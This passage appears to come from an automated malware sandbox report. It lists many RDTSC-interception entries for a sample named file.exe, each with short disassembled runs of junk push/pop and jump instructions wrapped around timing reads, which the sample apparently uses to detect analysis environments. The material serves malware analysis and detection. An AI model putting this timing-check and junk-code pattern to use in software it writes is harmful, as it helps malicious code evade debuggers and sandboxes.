Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11765E3 second address: 11765E7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11765E7 second address: 11765F1 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F227C7FC3D6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11765F1 second address: 11765FD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push ebx 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11765FD second address: 1176607 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007F227C7FC3D6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 117E315 second address: 117E321 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007F227C74F4A6h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 117E321 second address: 117E327 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 117E327 second address: 117E32C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 117E5AF second address: 117E5BA instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push edi 0x00000004 pop edi 0x00000005 push edi 0x00000006 pop edi 0x00000007 pop ebx 0x00000008 push edi 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 117E88E second address: 117E898 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 je 00007F227C74F4A6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 117E898 second address: 117E89C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 117F161 second address: 117F181 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jns 00007F227C74F4A6h 0x00000009 pop eax 0x0000000a pushad 0x0000000b push eax 0x0000000c pop eax 0x0000000d jmp 00007F227C74F4B1h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 117F181 second address: 117F19F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 pushad 0x00000008 push esi 0x00000009 jmp 00007F227C7FC3DFh 0x0000000e pop esi 0x0000000f pushad 0x00000010 push edx 0x00000011 pop edx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 117F19F second address: 117F1A7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push edi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 117F1A7 second address: 117F1B0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 117F751 second address: 117F759 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 117F759 second address: 117F765 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007F227C7FC3D6h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 117F765 second address: 117F76A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 117F76A second address: 117F76F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 117F76F second address: 117F789 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007F227C74F4AEh 0x0000000b pushad 0x0000000c popad 0x0000000d popad 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 117F789 second address: 117F795 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007F227C7FC3D6h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1182D41 second address: 1182D62 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F227C74F4B7h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1182D62 second address: 1182D66 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1182E88 second address: 1182EAB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F227C74F4B9h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1182EAB second address: 1182EB1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1182EB1 second address: 1182EC3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jc 00007F227C74F4A6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c popad 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1182EC3 second address: 1182EC7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11834BB second address: 11834D0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F227C74F4AFh 0x00000007 push eax 0x00000008 push edx 0x00000009 push ebx 0x0000000a pop ebx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1183788 second address: 118379E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F227C7FC3E2h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 118379E second address: 11837AE instructions: 0x00000000 rdtsc 0x00000002 jl 00007F227C74F4A6h 0x00000008 jc 00007F227C74F4A6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1188730 second address: 1188734 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1188734 second address: 1188738 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1188738 second address: 118873E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 118873E second address: 1188767 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F227C74F4BDh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push ebx 0x0000000b pushad 0x0000000c pushad 0x0000000d popad 0x0000000e pushad 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1190653 second address: 1190658 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1190658 second address: 1190666 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push edx 0x00000006 js 00007F227C74F4A6h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1190FAE second address: 1190FB2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1190FB2 second address: 1190FE2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F227C74F4B5h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jmp 00007F227C74F4B2h 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1190FE2 second address: 119100D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007F227C7FC3D6h 0x0000000a pop edx 0x0000000b jnp 00007F227C7FC3EBh 0x00000011 popad 0x00000012 push edx 0x00000013 push ecx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 118FDFB second address: 118FDFF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 118FDFF second address: 118FE1E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F227C7FC3E9h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 118FE1E second address: 118FE23 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1197C64 second address: 1197C68 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1197C68 second address: 1197C6D instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1197C6D second address: 1197C76 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1197C76 second address: 1197C7A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 119783C second address: 1197843 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1197843 second address: 119784E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jg 00007F227C74F4A6h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11AA932 second address: 11AA936 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11AA936 second address: 11AA961 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F227C74F4B3h 0x00000007 jmp 00007F227C74F4B4h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11AA961 second address: 11AA970 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F227C7FC3DBh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11BA0AB second address: 11BA0AF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11BA0AF second address: 11BA0C1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push edx 0x00000009 push esi 0x0000000a pop esi 0x0000000b jnp 00007F227C7FC3D6h 0x00000011 pop edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11BD2FF second address: 11BD303 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11BD303 second address: 11BD30D instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F227C7FC3D6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11BD30D second address: 11BD321 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ecx 0x00000007 pushad 0x00000008 popad 0x00000009 pop ecx 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e je 00007F227C74F4A6h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11BD321 second address: 11BD325 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11BF255 second address: 11BF259 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11BF259 second address: 11BF25F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11BF25F second address: 11BF268 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11BF268 second address: 11BF26E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11BF26E second address: 11BF28C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007F227C74F4B3h 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11BF28C second address: 11BF292 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11BF292 second address: 11BF296 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11BF0F5 second address: 11BF11C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jng 00007F227C7FC3E8h 0x0000000b jmp 00007F227C7FC3DCh 0x00000010 jne 00007F227C7FC3D6h 0x00000016 push eax 0x00000017 push edx 0x00000018 jo 00007F227C7FC3D6h 0x0000001e push eax 0x0000001f pop eax 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C3315 second address: 11C3335 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F227C74F4B4h 0x0000000f push esi 0x00000010 pop esi 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C9264 second address: 11C9269 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C7F72 second address: 11C7F77 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C8100 second address: 11C8110 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 ja 00007F227C7FC3D6h 0x0000000a jl 00007F227C7FC3D6h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C8F19 second address: 11C8F1D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C8F1D second address: 11C8F27 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F227C7FC3D6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11CCBC5 second address: 11CCBD3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007F227C74F4A6h 0x0000000a pushad 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D67CA second address: 11D67F1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F227C7FC3E9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d jno 00007F227C7FC3D6h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D67F1 second address: 11D680F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F227C74F4B8h 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D6615 second address: 11D662E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F227C7FC3DFh 0x00000009 pop ebx 0x0000000a pushad 0x0000000b push esi 0x0000000c pop esi 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11DC2F2 second address: 11DC2F6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11DC2F6 second address: 11DC2FA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11DC2FA second address: 11DC318 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ecx 0x00000007 jg 00007F227C74F4A6h 0x0000000d pop ecx 0x0000000e push esi 0x0000000f jnl 00007F227C74F4A6h 0x00000015 pop esi 0x00000016 push eax 0x00000017 push edx 0x00000018 ja 00007F227C74F4A6h 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11DC318 second address: 11DC337 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 pushad 0x00000008 jmp 00007F227C7FC3E3h 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11DC337 second address: 11DC33D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11DC33D second address: 11DC347 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F227C7FC3D6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11DC168 second address: 11DC176 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 jnl 00007F227C74F4A6h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11DC176 second address: 11DC17A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11DC17A second address: 11DC186 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 ja 00007F227C74F4A6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D97ED second address: 11D9807 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F227C7FC3E2h 0x00000008 jmp 00007F227C7FC3DCh 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 push esi 0x00000012 pop esi 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D9807 second address: 11D9825 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F227C74F4AFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e jno 00007F227C74F4A6h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11FA7A0 second address: 11FA7A6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11FA7A6 second address: 11FA7AA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11FA7AA second address: 11FA7AE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11FA7AE second address: 11FA7BA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11FA7BA second address: 11FA7BE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11FA7BE second address: 11FA7C2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11FA95D second address: 11FA96B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007F227C7FC3D6h 0x0000000a pop edx 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11FAD85 second address: 11FAD8F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jg 00007F227C74F4A6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11FAD8F second address: 11FAD93 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11FAD93 second address: 11FAD9C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11FB093 second address: 11FB0C6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 pushad 0x00000009 popad 0x0000000a popad 0x0000000b pushad 0x0000000c js 00007F227C7FC3D6h 0x00000012 pushad 0x00000013 popad 0x00000014 popad 0x00000015 push eax 0x00000016 push edx 0x00000017 je 00007F227C7FC3D8h 0x0000001d push edx 0x0000001e pop edx 0x0000001f jmp 00007F227C7FC3E4h 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11FB0C6 second address: 11FB0CC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11FB0CC second address: 11FB0D0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11FB0D0 second address: 11FB0D4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11FB240 second address: 11FB256 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007F227C7FC3DDh 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11FB256 second address: 11FB267 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jo 00007F227C74F4A6h 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11FB267 second address: 11FB26D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11FD224 second address: 11FD228 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11FD228 second address: 11FD246 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F227C7FC3E4h 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
